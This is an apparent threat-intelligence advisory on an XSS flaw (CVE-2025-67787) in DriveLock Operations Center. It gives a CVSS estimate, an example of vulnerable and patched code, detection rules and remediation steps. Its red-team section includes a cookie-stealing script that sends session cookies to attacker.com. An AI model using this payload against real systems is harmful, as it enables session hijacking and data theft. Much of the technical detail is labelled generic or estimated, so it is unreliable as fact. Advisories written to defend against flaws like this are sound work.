CVE-2025-67787

Executive Summary

CVE-2025-67787 is a Cross-Site Scripting (XSS) vulnerability identified in DriveLock Operations Center versions 25.1.2 through 25.1.4. The flaw allows an unauthenticated attacker to inject malicious scripts into the application, which can be executed in the context of a legitimate user's session. Successful exploitation could lead to session takeover, data theft, or further compromise of the DriveLock infrastructure. The vulnerability is classified as a stored or reflected XSS, depending on the injection vector, and requires no authentication to trigger. No public proof-of-concept (PoC) or exploit code is currently available, but the risk is elevated due to the potential for lateral movement within enterprise environments.

CVSS Breakdown & Threat Level

The CVSS score is currently listed as 0.0, indicating that a full vector has not been assigned by NVD. However, based on the description and impact, a reasonable estimate is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to inject the payload.
• User Interaction (UI): Required (R) – The victim must click a link or visit a crafted page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): High (H) – Session tokens and sensitive data can be exfiltrated.
• Integrity (I): High (H) – The attacker can perform actions on behalf of the victim.
• Availability (A): Low (L) – The attack does not directly impact availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L
Estimated Score: 8.2 (High)

Deep Dive & Mechanics

The vulnerability resides in the DriveLock Operations Center web interface, which is used for centralized management of endpoint security policies. The XSS flaw likely stems from improper sanitization of user-supplied input in one or more of the following areas:

• Search/Filter Fields: Input passed to search or filter parameters may be reflected without encoding.
• Configuration Parameters: Policy names, descriptions, or custom fields may store unsanitized data.
• Error Messages: Dynamic error messages that include user input may be rendered without escaping.

An attacker can craft a malicious URL or submit a form containing JavaScript payloads. When a legitimate user interacts with the affected page (e.g., by viewing a report or clicking a link), the script executes in the user's browser. This allows the attacker to:

• Steal session cookies and hijack the user's session.
• Perform actions on behalf of the user, such as modifying policies or exfiltrating data.
• Redirect the user to a phishing page or download malware.

The vulnerability is present in versions 25.1.2 through 25.1.4 and is fixed in version 25.1.5.

Vulnerable vs. Patched Code

Since no specific code snippets are available, the following is a generalized example of the vulnerable pattern and its fix.

Vulnerable Code (PHP/JavaScript example):

// Vulnerable: Directly echoing user input without sanitization
$search = $_GET['q'];
echo "<div>Search results for: " . $search . "</div>";

Patched Code:

// Patched: Using htmlspecialchars to escape output
$search = $_GET['q'];
echo "<div>Search results for: " . htmlspecialchars($search, ENT_QUOTES, 'UTF-8') . "</div>";

In the DriveLock Operations Center, the fix likely involves adding proper output encoding and input validation across all user-facing fields.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable DriveLock Operations Center (version 25.1.2 to 25.1.4) in a controlled environment.
2. Use a browser with developer tools and a tool like Burp Suite to intercept and modify requests.

Exploitation Steps:

1. Identify an input field that reflects user input (e.g., a search box or a configuration parameter).
2. Inject a payload such as:

   <script>alert('XSS')</script>
   

3. If the payload executes, escalate to a session-stealing payload:

   <script>
   var img = new Image();
   img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
   </script>
   

4. Send the crafted URL to a victim (e.g., via email or social engineering).
5. When the victim clicks the link, their session cookie is sent to the attacker's server.

Note: No public exploit code is available. The above is a generic XSS exploitation technique.

Blue Team (Defensive)

Detection Steps:

1. Monitor web application logs for unusual input patterns, such as <script> tags or base64-encoded payloads.
2. Use a Web Application Firewall (WAF) to block common XSS payloads.
3. Implement Content Security Policy (CSP) headers to restrict script execution.
4. Conduct regular vulnerability scans and apply patches promptly.

Hunting Queries:

• Search for HTTP requests containing %3Cscript%3E (URL-encoded <script>).
• Look for anomalous outbound connections from the DriveLock server to unknown IPs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • Unusual referrer headers pointing to crafted URLs with XSS payloads.
• Host IOCs:
  • Browser history entries containing URLs with <script> tags.
  • Unexpected JavaScript execution in the DriveLock Operations Center interface.
• Log IOCs:
  • Web server logs showing requests with alert(), document.cookie, or fetch() in the query string.
  • Repeated 404 errors from automated scanning tools.

Detection Engineering

YARA Rule

rule CVE_2025_67787_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting DriveLock Operations Center"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67787"
    strings:
        $xss1 = "<script>"
        $xss2 = "onerror="
        $xss3 = "javascript:"
        $xss4 = "document.cookie"
        $xss5 = "fetch("
    condition:
        any of them
}

Sigma Rule

title: DriveLock Operations Center XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS attacks against DriveLock Operations Center
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
            - 'document.cookie'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin panels (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67787 DriveLock XSS Attempt"; flow:to_server,established; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to DriveLock Operations Center version 25.1.5 or later.
2. If immediate patching is not possible, restrict access to the Operations Center to trusted IPs only.
3. Enable a Web Application Firewall (WAF) with XSS protection rules.

Long-Term Measures:

1. Implement input validation and output encoding for all user-supplied data.
2. Conduct regular security audits and penetration testing.
3. Train users to recognize phishing attempts that may deliver XSS payloads.

Workaround:

• Disable JavaScript in the browser for the DriveLock Operations Center domain (not recommended for full functionality).
• Use browser extensions that block XSS (e.g., NoScript).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert